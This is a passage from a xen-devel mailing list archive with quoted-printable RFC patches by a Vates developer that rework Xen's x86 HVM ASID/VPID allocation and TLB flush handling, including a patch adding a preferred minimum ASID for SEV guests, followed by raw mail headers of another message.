+        vmx_update_secondary_exec_control(v);
+    }
+
+
     /*
      * We can safely pass MSR_SPEC_CTRL through to the guest, even if STI=
BP
      * isn't enumerated in hardware, as SPEC_CTRL_STIBP is ignored=2E
@@ -1510,7 +1523,7 @@ static void cf_check vmx_handle_cd(struct vcpu *v, u=
nsigned long value)
             vmx_set_msr_intercept(v, MSR_IA32_CR_PAT, VMX_MSR_RW);
=20
             wbinvd();               /* flush possibly polluted cache */
-            hvm_asid_flush_vcpu(v); /* invalidate memory type cached in T=
LB */
+            v->arch=2Eneeds_tlb_flush =3D true; /* invalidate memory type=
 cached in TLB */
             v->arch=2Ehvm=2Evmx=2Ecache_mode =3D CACHE_MODE_NO_FILL;
         }
         else
@@ -1519,7 +1532,7 @@ static void cf_check vmx_handle_cd(struct vcpu *v, u=
nsigned long value)
             vmx_set_guest_pat(v, *pat);
             if ( !is_iommu_enabled(v->domain) || iommu_snoop )
                 vmx_clear_msr_intercept(v, MSR_IA32_CR_PAT, VMX_MSR_RW);
-            hvm_asid_flush_vcpu(v); /* no need to flush cache */
+            v->arch=2Eneeds_tlb_flush =3D true;
         }
     }
 }
@@ -1871,7 +1884,7 @@ static void cf_check vmx_update_guest_cr(
         __vmwrite(GUEST_CR3, v->arch=2Ehvm=2Ehw_cr[3]);
=20
         if ( !(flags & HVM_UPDATE_GUEST_CR3_NOFLUSH) )
-            hvm_asid_flush_vcpu(v);
+            v->arch=2Eneeds_tlb_flush =3D true;
         break;
=20
     default:
@@ -3168,6 +3181,8 @@ const struct hvm_function_table * __init start_vmx(v=
oid)
     lbr_tsx_fixup_check();
     ler_to_fixup_check();
=20
+    BUG_ON(hvm_asid_init(cpu_has_vmx_vpid ? (1u << VMCS_VPID_WIDTH) : 1))=
;
+
     return &vmx_function_table;
 }
=20
@@ -4931,9 +4946,7 @@ bool asmlinkage vmx_vmenter_helper(const struct cpu_=
user_regs *regs)
 {
     struct vcpu *curr =3D current;
     struct domain *currd =3D curr->domain;
-    u32 new_asid, old_asid;
-    struct hvm_vcpu_asid *p_asid;
-    bool need_flush;
+    struct hvm_asid *p_asid;
=20
     ASSERT(hvmemul_cache_disabled(curr));
=20
@@ -4949,33 +4962,9 @@ bool asmlinkage vmx_vmenter_helper(const struct cpu=
_user_regs *regs)
     if ( nestedhvm_vcpu_in_guestmode(curr) )
         p_asid =3D &vcpu_nestedhvm(curr)=2Env_n2asid;
     else
-        p_asid =3D &curr->arch=2Ehvm=2En1asid;
-
-    old_asid =3D p_asid->asid;
-    need_flush =3D hvm_asid_handle_vmenter(p_asid);
-    new_asid =3D p_asid->asid;
-
-    if ( unlikely(new_asid !=3D old_asid) )
-    {
-        __vmwrite(VIRTUAL_PROCESSOR_ID, new_asid);
-        if ( !old_asid && new_asid )
-        {
-            /* VPID was disabled: now enabled=2E */
-            curr->arch=2Ehvm=2Evmx=2Esecondary_exec_control |=3D
-                SECONDARY_EXEC_ENABLE_VPID;
-            vmx_update_secondary_exec_control(curr);
-        }
-        else if ( old_asid && !new_asid )
-        {
-            /* VPID was enabled: now disabled=2E */
-            curr->arch=2Ehvm=2Evmx=2Esecondary_exec_control &=3D
-                ~SECONDARY_EXEC_ENABLE_VPID;
-            vmx_update_secondary_exec_control(curr);
-        }
-    }
+        p_asid =3D &currd->arch=2Ehvm=2Easid;
=20
-    if ( unlikely(need_flush) )
-        vpid_sync_all();
+    __vmwrite(VIRTUAL_PROCESSOR_ID, p_asid->asid);
=20
     if ( paging_mode_hap(curr->domain) )
     {
@@ -4984,12 +4973,18 @@ bool asmlinkage vmx_vmenter_helper(const struct cp=
u_user_regs *regs)
         unsigned int inv =3D 0; /* None =3D> Single =3D> All */
         struct ept_data *single =3D NULL; /* Single eptp, iff inv =3D=3D =
1 */
=20
+        if ( test_and_clear_bool(curr->arch=2Eneeds_tlb_flush)  )
+        {
+            inv =3D 1;
+            single =3D ept;
+        }
+
         if ( cpumask_test_cpu(cpu, ept->invalidate) )
         {
             cpumask_clear_cpu(cpu, ept->invalidate);
=20
             /* Automatically invalidate all contexts if nested=2E */
-            inv +=3D 1 + nestedhvm_enabled(currd);
+            inv =3D 1 + nestedhvm_enabled(currd);
             single =3D ept;
         }
=20
@@ -5018,6 +5013,11 @@ bool asmlinkage vmx_vmenter_helper(const struct cpu=
_user_regs *regs)
             __invept(inv =3D=3D 1 ? INVEPT_SINGLE_CONTEXT : INVEPT_ALL_CO=
NTEXT,
                      inv =3D=3D 1 ? single->eptp          : 0);
     }
+    else /* Shadow paging */
+    {
+        if ( test_and_clear_bool(curr->arch=2Eneeds_tlb_flush) )
+            vpid_sync_vcpu_context(curr);
+    }
=20
  out:
     if ( unlikely(curr->arch=2Ehvm=2Evmx=2Elbr_flags & LBR_FIXUP_MASK) )
diff --git a/xen/arch/x86/hvm/vmx/vvmx=2Ec b/xen/arch/x86/hvm/vmx/vvmx=2Ec
index e4cdfe55c1=2E=2E5c0e1226c4 100644
--- a/xen/arch/x86/hvm/vmx/vvmx=2Ec
+++ b/xen/arch/x86/hvm/vmx/vvmx=2Ec
@@ -1253,7 +1253,7 @@ static void virtual_vmentry(struct cpu_user_regs *re=
gs)
=20
         if ( nvmx->guest_vpid !=3D new_vpid )
         {
-            hvm_asid_flush_vcpu_asid(&vcpu_nestedhvm(v)=2Env_n2asid);
+            v->arch=2Eneeds_tlb_flush =3D true;
             nvmx->guest_vpid =3D new_vpid;
         }
     }
@@ -2052,7 +2052,7 @@ static int nvmx_handle_invvpid(struct cpu_user_regs =
*regs)
     case INVVPID_INDIVIDUAL_ADDR:
     case INVVPID_SINGLE_CONTEXT:
     case INVVPID_ALL_CONTEXT:
-        hvm_asid_flush_vcpu_asid(&vcpu_nestedhvm(current)=2Env_n2asid);
+        hvm_flush_tlb(NULL);
         break;
     default:
         vmfail(regs, VMX_INSN_INVEPT_INVVPID_INVALID_OP);
diff --git a/xen/arch/x86/include/asm/flushtlb=2Eh b/xen/arch/x86/include/=
asm/flushtlb=2Eh
index 345677eb72=2E=2E081e5a1188 100644
--- a/xen/arch/x86/include/asm/flushtlb=2Eh
+++ b/xen/arch/x86/include/asm/flushtlb=2Eh
@@ -125,12 +125,6 @@ void switch_cr3_cr4(struct vcpu *v, unsigned long cr3=
, unsigned long cr4);
 #define FLUSH_VCPU_STATE 0x1000
  /* Flush the per-cpu root page table */
 #define FLUSH_ROOT_PGTBL 0x2000
-#if CONFIG_HVM
- /* Flush all HVM guests linear TLB (using ASID/VPID) */
-#define FLUSH_HVM_ASID_CORE 0x4000
-#else
-#define FLUSH_HVM_ASID_CORE 0
-#endif
 #if defined(CONFIG_PV) || defined(CONFIG_SHADOW_PAGING)
 /*
  * Adding this to the flags passed to flush_area_mask will prevent using =
the
@@ -190,7 +184,6 @@ void flush_area_mask(const cpumask_t *mask, const void=
 *va,
=20
 static inline void flush_page_to_ram(unsigned long mfn, bool sync_icache)=
 {}
=20
-unsigned int guest_flush_tlb_flags(const struct domain *d);
 void guest_flush_tlb_mask(const struct domain *d, const cpumask_t *mask);
=20
 #endif /* __FLUSHTLB_H__ */
diff --git a/xen/arch/x86/include/asm/hvm/asid=2Eh b/xen/arch/x86/include/=
asm/hvm/asid=2Eh
index 25ba57e768=2E=2Eb6df5cda35 100644
--- a/xen/arch/x86/include/asm/hvm/asid=2Eh
+++ b/xen/arch/x86/include/asm/hvm/asid=2Eh
@@ -8,25 +8,25 @@
 #ifndef __ASM_X86_HVM_ASID_H__
 #define __ASM_X86_HVM_ASID_H__
=20
+#include <xen/stdbool=2Eh>
+#include <xen/stdint=2Eh>
=20
-struct vcpu;
-struct hvm_vcpu_asid;
+struct hvm_asid {
+  uint32_t asid;
+};
=20
-/* Initialise ASID management for the current physical CPU=2E */
-void hvm_asid_init(unsigned int nasids);
+#ifdef CONFIG_HVM
+extern bool asid_enabled;
+#else
+#define asid_enabled (false)
+#endif
=20
-/* Invalidate a particular ASID allocation: forces re-allocation=2E */
-void hvm_asid_flush_vcpu_asid(struct hvm_vcpu_asid *asid);
+/* Initialise ASID management distributed across all CPUs=2E */
+int hvm_asid_init(unsigned long nasids);
=20
-/* Invalidate all ASID allocations for specified VCPU: forces re-allocati=
on=2E */
-void hvm_asid_flush_vcpu(struct vcpu *v);
-
-/* Flush all ASIDs on this processor core=2E */
-void hvm_asid_flush_core(void);
-
-/* Called before entry to guest context=2E Checks ASID allocation, return=
s a
- * boolean indicating whether all ASIDs must be flushed=2E */
-bool hvm_asid_handle_vmenter(struct hvm_vcpu_asid *asid);
+int hvm_asid_alloc(struct hvm_asid *asid);
+int hvm_asid_alloc_range(struct hvm_asid *asid, unsigned long min, unsign=
ed long max);
+void hvm_asid_free(struct hvm_asid *asid);
=20
 #endif /* __ASM_X86_HVM_ASID_H__ */
=20
diff --git a/xen/arch/x86/include/asm/hvm/domain=2Eh b/xen/arch/x86/includ=
e/asm/hvm/domain=2Eh
index dd7fa96aad=2E=2E194343d9bf 100644
--- a/xen/arch/x86/include/asm/hvm/domain=2Eh
+++ b/xen/arch/x86/include/asm/hvm/domain=2Eh
@@ -140,6 +140,7 @@ struct hvm_domain {
     } write_map;
=20
     struct hvm_pi_ops pi_ops;
+    struct hvm_asid asid;
=20
     union {
         struct vmx_domain vmx;
diff --git a/xen/arch/x86/include/asm/hvm/hvm=2Eh b/xen/arch/x86/include/a=
sm/hvm/hvm=2Eh
index e7c1364802=2E=2E935d9e7548 100644
--- a/xen/arch/x86/include/asm/hvm/hvm=2Eh
+++ b/xen/arch/x86/include/asm/hvm/hvm=2Eh
@@ -274,6 +274,8 @@ int hvm_domain_initialise(struct domain *d,
 void hvm_domain_relinquish_resources(struct domain *d);
 void hvm_domain_destroy(struct domain *d);
=20
+int hvm_flush_tlb(const unsigned long *vcpu_bitmap);
+
 int hvm_vcpu_initialise(struct vcpu *v);
 void hvm_vcpu_destroy(struct vcpu *v);
 void hvm_vcpu_down(struct vcpu *v);
@@ -497,17 +499,6 @@ static inline void hvm_set_tsc_offset(struct vcpu *v,=
 uint64_t offset)
     alternative_vcall(hvm_funcs=2Eset_tsc_offset, v, offset);
 }
=20
-/*
- * Called to ensure than all guest-specific mappings in a tagged TLB are=
=20
- * flushed; does *not* flush Xen's TLB entries, and on processors without=
 a=20
- * tagged TLB it will be a noop=2E
- */
-static inline void hvm_flush_guest_tlbs(void)
-{
-    if ( hvm_enabled )
-        hvm_asid_flush_core();
-}
-
 static inline unsigned int
 hvm_get_cpl(struct vcpu *v)
 {
@@ -901,8 +892,6 @@ static inline int hvm_cpu_up(void)
=20
 static inline void hvm_cpu_down(void) {}
=20
-static inline void hvm_flush_guest_tlbs(void) {}
-
 static inline void hvm_invlpg(const struct vcpu *v, unsigned long linear)
 {
     ASSERT_UNREACHABLE();
diff --git a/xen/arch/x86/include/asm/hvm/svm=2Eh b/xen/arch/x86/include/a=
sm/hvm/svm=2Eh
index a35a61273b=2E=2E1877bb149a 100644
--- a/xen/arch/x86/include/asm/hvm/svm=2Eh
+++ b/xen/arch/x86/include/asm/hvm/svm=2Eh
@@ -9,6 +9,11 @@
 #ifndef __ASM_X86_HVM_SVM_H__
 #define __ASM_X86_HVM_SVM_H__
=20
+void svm_asid_init(void);
+void svm_vcpu_assign_asid(struct vcpu *v);
+void svm_vcpu_set_tlb_control(struct vcpu *v);
+void svm_vcpu_clear_tlb_control(struct vcpu *v);
+
 /*
  * PV context switch helpers=2E  Prefetching the VMCB area itself has bee=
n shown
  * to be useful for performance=2E
diff --git a/xen/arch/x86/include/asm/hvm/vcpu=2Eh b/xen/arch/x86/include/=
asm/hvm/vcpu=2Eh
index 2a14fa0a63=2E=2E8ad2ab2910 100644
--- a/xen/arch/x86/include/asm/hvm/vcpu=2Eh
+++ b/xen/arch/x86/include/asm/hvm/vcpu=2Eh
@@ -9,6 +9,7 @@
 #define __ASM_X86_HVM_VCPU_H__
=20
 #include <xen/tasklet=2Eh>
+#include <asm/hvm/asid=2Eh>
 #include <asm/hvm/vlapic=2Eh>
 #include <asm/hvm/vmx/vmcs=2Eh>
 #include <asm/hvm/vmx/vvmx=2Eh>
@@ -16,11 +17,6 @@
 #include <asm/mtrr=2Eh>
 #include <public/hvm/ioreq=2Eh>
=20
-struct hvm_vcpu_asid {
-    uint64_t generation;
-    uint32_t asid;
-};
-
 struct hvm_vcpu_io {
     /*
      * HVM emulation:
@@ -76,7 +72,7 @@ struct nestedvcpu {
     bool stale_np2m; /* True when p2m_base in VMCx02 is no longer valid *=
/
     uint64_t np2m_generation;
=20
-    struct hvm_vcpu_asid nv_n2asid;
+    struct hvm_asid nv_n2asid;
=20
     bool nv_vmentry_pending;
     bool nv_vmexit_pending;
@@ -140,8 +136,6 @@ struct hvm_vcpu {
     /* (MFN) hypervisor page table */
     pagetable_t         monitor_table;
=20
-    struct hvm_vcpu_asid n1asid;
-
     u64                 msr_tsc_adjust;
=20
     union {
diff --git a/xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh b/xen/arch/x86/inclu=
de/asm/hvm/vmx/vmx=2Eh
index 08854c36ca=2E=2Ee0d4389f20 100644
--- a/xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh
+++ b/xen/arch/x86/include/asm/hvm/vmx/vmx=2Eh
@@ -463,7 +463,7 @@ static inline void vpid_sync_vcpu_context(const struct=
 vcpu *v)
     if ( unlikely(!cpu_has_vmx_vpid_invvpid_single_context) )
         type =3D INVVPID_ALL_CONTEXT;
=20
-    __invvpid(type, v->arch=2Ehvm=2En1asid=2Easid, 0);
+    __invvpid(type, v->domain->arch=2Ehvm=2Easid=2Easid, 0);
 }
=20
 static inline void vpid_sync_vcpu_gva(struct vcpu *v, unsigned long gva)
@@ -484,7 +484,7 @@ static inline void vpid_sync_vcpu_gva(struct vcpu *v, =
unsigned long gva)
     if ( unlikely(!cpu_has_vmx_vpid_invvpid_single_context) )
         type =3D INVVPID_ALL_CONTEXT;
=20
-    __invvpid(type, v->arch=2Ehvm=2En1asid=2Easid, (u64)gva);
+    __invvpid(type, v->domain->arch=2Ehvm=2Easid=2Easid, (u64)gva);
 }
=20
 static inline void vpid_sync_all(void)
diff --git a/xen/arch/x86/mm/hap/hap=2Ec b/xen/arch/x86/mm/hap/hap=2Ec
index 5ccb80bda5=2E=2E156734d3e0 100644
--- a/xen/arch/x86/mm/hap/hap=2Ec
+++ b/xen/arch/x86/mm/hap/hap=2Ec
@@ -27,6 +27,7 @@
 #include <asm/p2m=2Eh>
 #include <asm/domain=2Eh>
 #include <xen/numa=2Eh>
+#include <asm/hvm/asid=2Eh>
 #include <asm/hvm/nestedhvm=2Eh>
 #include <public/sched=2Eh>
=20
@@ -750,18 +751,16 @@ static bool cf_check flush_tlb(const unsigned long *=
vcpu_bitmap)
         if ( !flush_vcpu(v, vcpu_bitmap) )
             continue;
=20
-        hvm_asid_flush_vcpu(v);
-
         cpu =3D read_atomic(&v->dirty_cpu);
         if ( cpu !=3D this_cpu && is_vcpu_dirty_cpu(cpu) && v->is_running=
 )
             __cpumask_set_cpu(cpu, mask);
     }
=20
+    guest_flush_tlb_mask(d, mask);
+
     /*
      * Trigger a vmexit on all pCPUs with dirty vCPU state in order to fo=
rce an
-     * ASID/VPID change and hence accomplish a guest TLB flush=2E Note th=
at vCPUs
-     * not currently running will already be flushed when scheduled becau=
se of
-     * the ASID tickle done in the loop above=2E
+     * ASID/VPID flush and hence accomplish a guest TLB flush=2E
      */
     on_selected_cpus(mask, NULL, NULL, 0);
=20
diff --git a/xen/arch/x86/mm/p2m=2Ec b/xen/arch/x86/mm/p2m=2Ec
index 027b9ae69b=2E=2E9879b4840b 100644
--- a/xen/arch/x86/mm/p2m=2Ec
+++ b/xen/arch/x86/mm/p2m=2Ec
@@ -1440,7 +1440,7 @@ p2m_flush(struct vcpu *v, struct p2m_domain *p2m)
     ASSERT(v->domain =3D=3D p2m->domain);
     vcpu_nestedhvm(v)=2Env_p2m =3D NULL;
     p2m_flush_table(p2m);
-    hvm_asid_flush_vcpu(v);
+    v->arch=2Eneeds_tlb_flush =3D true;
 }
=20
 void
@@ -1499,7 +1499,7 @@ static void assign_np2m(struct vcpu *v, struct p2m_d=
omain *p2m)
=20
 static void nvcpu_flush(struct vcpu *v)
 {
-    hvm_asid_flush_vcpu(v);
+    v->arch=2Eneeds_tlb_flush =3D true;
     vcpu_nestedhvm(v)=2Estale_np2m =3D true;
 }
=20
@@ -1619,7 +1619,7 @@ void np2m_schedule(int dir)
             if ( !np2m_valid )
             {
                 /* This vCPU's np2m was flushed while it was not runnable=
 */
-                hvm_asid_flush_core();
+                curr->arch=2Eneeds_tlb_flush =3D true;
                 vcpu_nestedhvm(curr)=2Env_p2m =3D NULL;
             }
             else
diff --git a/xen/arch/x86/mm/paging=2Ec b/xen/arch/x86/mm/paging=2Ec
index 14ab7defd8=2E=2E06053d9a06 100644
--- a/xen/arch/x86/mm/paging=2Ec
+++ b/xen/arch/x86/mm/paging=2Ec
@@ -938,7 +938,7 @@ void paging_update_nestedmode(struct vcpu *v)
     else
         /* TODO: shadow-on-shadow */
         v->arch=2Epaging=2Enestedmode =3D NULL;
-    hvm_asid_flush_vcpu(v);
+    v->arch=2Eneeds_tlb_flush =3D true;
 }
=20
 int __init paging_set_allocation(struct domain *d, unsigned int pages,
diff --git a/xen/arch/x86/mm/shadow/multi=2Ec b/xen/arch/x86/mm/shadow/mul=
ti=2Ec
index 1b0477ed2b=2E=2E107d0829f2 100644
--- a/xen/arch/x86/mm/shadow/multi=2Ec
+++ b/xen/arch/x86/mm/shadow/multi=2Ec
@@ -81,12 +81,6 @@ const char *const fetch_type_names[] =3D {
=20
 static pagetable_t cf_check sh_update_cr3(struct vcpu *v, bool noflush);
=20
-/* Helper to perform a local TLB flush=2E */
-static void sh_flush_local(const struct domain *d)
-{
-    flush_local(guest_flush_tlb_flags(d));
-}
-
 #if GUEST_PAGING_LEVELS >=3D 4 && defined(CONFIG_PV32)
 #define ASSERT_VALID_L2(t) \
     ASSERT((t) =3D=3D SH_type_l2_shadow || (t) =3D=3D SH_type_l2h_shadow)
@@ -2945,7 +2939,8 @@ static bool cf_check sh_invlpg(struct vcpu *v, unsig=
ned long linear)
     if ( mfn_to_page(sl1mfn)->u=2Esh=2Etype
          =3D=3D SH_type_fl1_shadow )
     {
-        sh_flush_local(v->domain);
+        flush_tlb_local();
+        v->arch=2Eneeds_tlb_flush =3D true;
         return false;
     }
=20
@@ -3160,7 +3155,8 @@ sh_update_linear_entries(struct vcpu *v)
      * linear pagetable to read a top-level shadow page table entry=2E Bu=
t,
      * without this change, it would fetch the wrong value due to a stale=
 TLB=2E
      */
-    sh_flush_local(d);
+    flush_tlb_local();
+    v->arch=2Eneeds_tlb_flush =3D true;
 }
=20
 static pagetable_t cf_check sh_update_cr3(struct vcpu *v, bool noflush)
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.1902.d6e2b0de82b0333e.19fb8a5eb68.d9f4fc1aecb1f2d9=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 14:48:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 14:48:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379233.1623998 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoXO-0007u5-Q6; Fri, 31 Jul 2026 14:48:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379233.1623998; Fri, 31 Jul 2026 14:48:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoXO-0007tX-Jd; Fri, 31 Jul 2026 14:48:38 +0000
Received: by outflank-mailman (input) for mailman id 1379233;
 Fri, 31 Jul 2026 14:48:37 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5f02e000e099@swg.vates.tech>)
 id 1wpoXN-0007pu-Dg
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 14:48:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpoXM-00CUBm-Qm
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 16:48:36 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5f02e000e099@swg.vates.tech>)
 id 6a6cb596-e002-0a2a0a5209dd-0a2a4507c5fc-48
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:48:36 +0200
Received: from [185.255.28.35] (helo=prod-mta-13-02.swg-srv.net)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fb8a5f02e000e099@swg.vates.tech>)
 id 6a6cb5c0-b4ea-0a2a45070019-b9ff1c238c93-4
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:48:36 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13-02.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fb8a5f02e000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Fri, 31 Jul 2026 14:48:30 +0000
Received: from bazzite.gpn.vates.fr (88-188-240-210.subs.proxad.net
 [88.188.240.210]) (Authenticated sender: teddy.astie)
 by mail2.vates.fr (Postfix) with ESMTPSA id EFCC980D94;
 Fri, 31 Jul 2026 16:48:29 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=L3onYAV8aLrFC8MKGiuBXOTF4iyXzPhnT9pxUplKeT4=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=cUKEcnz1htkKxiFxpXUksGJxp7aZCYovoPSAteGJPi0x5X6zar0WKDNEEJFmq5hWbMYp5uljx
 H8zDglXDLnWfN+KdYGUUF1liqOSYIaqjrfYx8Tt3XAh8DPNAjy0XxnCGSE/IYsy3ykf5YpSeBBq
 jW9OF3Hqapdu7KVEZTuY8vYw+LjSTvr/zQhDA1eCT0qORZAb3d1dzbDR1edZnSC9HFBDol0ap6K
 wSE5wavTs+Q75bMYAue3bZ7G14ozKvqbMzHjCzja8NCqsxjjjqRLvFNXoZWDJcurpg7go3rN7TM
 iT4xzbmVH3gQ+/mnT+c6msUfux9pJYEQQcQolkwBR78Q==
X-Zone-Loop: 0dc776c2ae3f5bb33bc8e3fb7cbcc044b14e8f826308
x-campaign-type: default
x-transaction-id: b9cbb542-a60b-4003-949b-077bf72e366f
x-swg-uid: 01-90f2a8b1-11d3-4b88-8910-f14d831116a2
X-Mailer: Sweego
Message-ID:
 <1785509310.8631fc262581453bbf619ec5b2062170.19fb8a5f02e000e099@vates.tech>
x-swg-bid: 1785509310.8631fc262581453bbf619ec5b2062170.19fb8a5f02e000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Teddy Astie <teddy.astie@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Teddy Astie <teddy.astie@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [RFC PATCH v2 5/5] hvm: Allow specifying a prefered asid minimum
Date: Fri, 31 Jul 2026 16:46:23 +0200
In-Reply-To: <1785509179.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@vates.tech>
References: <1785509179.8631fc262581453bbf619ec5b2062170.19fb8a3efe8000e099@vates.tech>
MIME-Version: 1.0
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.1903.350b18e29b0f18.19fb8a5eea1.ed20c68947823e4=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1785509310113
X-purgate-ID: tlsNG-ef75cf/1785509316-A64DBAE4-26DE68C8/0/0
X-purgate-type: clean
X-purgate-size: 2193

---=Part.1903.350b18e29b0f18.19fb8a5eea1.ed20c68947823e4=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

To avoid clobbering all ASIDs that are below SEV-enabled guest maximum,
we want to allocate if possible all ASID over a "prefered minimum"
and fallback to below otherwise=2E

Signed-off-by: Teddy Astie <teddy=2Eastie@vates=2Etech>
---
This is currently unused, but will prove useful for SEV-ES=2E

 xen/arch/x86/hvm/asid=2Ec             | 8 ++++++++
 xen/arch/x86/include/asm/hvm/asid=2Eh | 1 +
 2 files changed, 9 insertions(+)

diff --git a/xen/arch/x86/hvm/asid=2Ec b/xen/arch/x86/hvm/asid=2Ec
index 1a21125161=2E=2E4ad3200c96 100644
--- a/xen/arch/x86/hvm/asid=2Ec
+++ b/xen/arch/x86/hvm/asid=2Ec
@@ -22,6 +22,9 @@ boolean_param("asid", opt_asid_enabled);
 bool __read_mostly asid_enabled =3D false;
 static unsigned long __ro_after_init *asid_bitmap;
 static unsigned long __ro_after_init asid_count;
+
+/* Default minimum ASID to use */
+unsigned long __read_mostly asid_default_min =3D 0;
 static DEFINE_SPINLOCK(asid_lock);
=20
 /*
@@ -67,6 +70,11 @@ int hvm_asid_alloc(struct hvm_asid *asid)
         return 0;
     }
=20
+    /* Try to allocate above default minimum */
+    if ( asid_default_min &&
+         !hvm_asid_alloc_range(asid, asid_default_min, asid_count) )
+        return 0;
+
     spin_lock(&asid_lock);
     new_asid =3D find_first_zero_bit(asid_bitmap, asid_count);
     if ( new_asid > asid_count )
diff --git a/xen/arch/x86/include/asm/hvm/asid=2Eh b/xen/arch/x86/include/=
asm/hvm/asid=2Eh
index b6df5cda35=2E=2E65373b29f6 100644
--- a/xen/arch/x86/include/asm/hvm/asid=2Eh
+++ b/xen/arch/x86/include/asm/hvm/asid=2Eh
@@ -20,6 +20,7 @@ extern bool asid_enabled;
 #else
 #define asid_enabled (false)
 #endif
+extern unsigned long asid_default_min;
=20
 /* Initialise ASID management distributed across all CPUs=2E */
 int hvm_asid_init(unsigned long nasids);
--=20
2=2E54=2E0



-- 
Teddy Astie | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vates s=
olutions

web: https://vates=2Etech
---=Part.1903.350b18e29b0f18.19fb8a5eea1.ed20c68947823e4=---


From xen-devel-bounces@lists.xenproject.org Fri Jul 31 14:59:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 31 Jul 2026 14:59:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1379279.1624012 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoha-0002uH-S2; Fri, 31 Jul 2026 14:59:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1379279.1624012; Fri, 31 Jul 2026 14:59:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpoha-0002uA-PH; Fri, 31 Jul 2026 14:59:10 +0000
Received: by outflank-mailman (input) for mailman id 1379279;
 Fri, 31 Jul 2026 14:59:08 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wpohY-0002u1-IO
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 14:59:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpohX-00CVvR-Oa
 for xen-devel@lists.xenproject.org; Fri, 31 Jul 2026 16:59:07 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6cb82f-bab6-0a2a0a5309dd-0a2a450b8b88-20
 for <xen-devel@lists.xenproject.org>; Fri, 31 Jul 2026 16:59:07 +0200
Received: from [209.85.218.41] (helo=mail-ej1-f41.google.com)
